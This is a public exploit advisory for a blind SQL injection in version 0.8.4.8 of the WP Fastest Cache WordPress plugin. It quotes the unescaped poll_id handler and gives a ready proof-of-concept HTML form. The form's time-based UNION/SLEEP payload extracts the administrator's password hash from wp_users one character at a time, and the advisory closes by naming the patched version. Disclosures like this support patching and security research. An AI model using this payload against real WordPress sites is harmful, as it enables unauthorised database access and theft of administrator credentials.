WordPress WP Fastest Cache Plugin 0.8.4.8 - Blind SQL Injection

[Massaro]

# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

$_POST["poll_id"] is not escaped properly.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {
    $id = strip_tags($_POST["poll_id"]);
    $id = mysql_real_escape_string($id);

    $result = check_voted($id);

    if($result){
        echo "true";
    }else{
        echo "false";
    }
    die();
}

http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html

2. Proof of Concept

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
    <input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
    <input type="submit" value="Send">
</form>

3. Solution:

Update to version 0.8.4.9